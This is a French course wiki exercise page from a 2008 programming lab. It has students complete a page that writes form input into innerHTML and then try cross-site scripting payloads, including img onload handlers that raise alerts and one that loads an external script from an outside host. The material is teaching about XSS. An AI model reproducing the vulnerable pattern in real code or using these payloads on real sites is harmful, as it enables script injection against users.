Outils pour utilisateurs

Outils du site


cours_2008:bases_de_la_programmation_orientee_objets_et_evenementielle:td:celebre_comme_un_adolescent_boutonneux

Célèbre comme un adolescent boutonneux

Pour devenir célèbre.

Savez-vous compléter le code suivant :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
 
  <title>XSS</title>
 
  <script type="text/javascript" charset="utf-8">
    function affiche_message () {
      var nom = document.getElementById("votre_nom").value;
      var ou_afficher = document.getElementById("ou_afficher");
      var message = "bonjour : " + nom;
 
 
        ou_afficher.inner____ = message;
 
 
 
 
    }
  </script>
 
</head>
 
<body>
<form action="#" method="get" accept-charset="utf-8">
  <label for="votre_nom">Votre nom</label><input type="text" name="votre_nom" value="" id="votre_nom" />
  <p><input type="submit" value="Dis bonjour &rarr;" onclick="affiche_message(); return false;"/></p>
</form>
 
<p id="ou_afficher">Bonjour : ????</p>
</body>
</html>

Puis le tester

exemple

ou une variante :

Remarque : essayez de saisir le texte qui suit (Avec IE).

<script defer>alert("Houps !!!");</script>

Pour tout navigateur :

<img src="http://netnewsdaily.com/wp-content/uploads/2009/04/mikeyy-300x224.jpg" alt="" onload="alert('Hoops');" />

Avec chargement d'un script externe :

<img src="http://netnewsdaily.com/wp-content/uploads/2009/04/mikeyy-300x224.jpg" alt="" onload="(function(){var e=document.createElement('script');e.setAttribute('type','text/javascript');e.setAttribute('src','http://www.pracht.org/xss.js');document.body.appendChild(e)})()" />

PS : n'utilisez jamais alert() sauf pour jouer à l'adolescent boutonneux.

Pour information : XSS

Démenti : je n'ai rien contre les adolescents boutonneux. De plus, il n'est pas prouvé que l'adolescent cité dans l'article précédent a des boutons. Mais, il est certain qu'il a surtout montré son manque de jugement et non des compétences techniques.

cours_2008/bases_de_la_programmation_orientee_objets_et_evenementielle/td/celebre_comme_un_adolescent_boutonneux.txt · Dernière modification: 2009/04/13 22:00 (modification externe)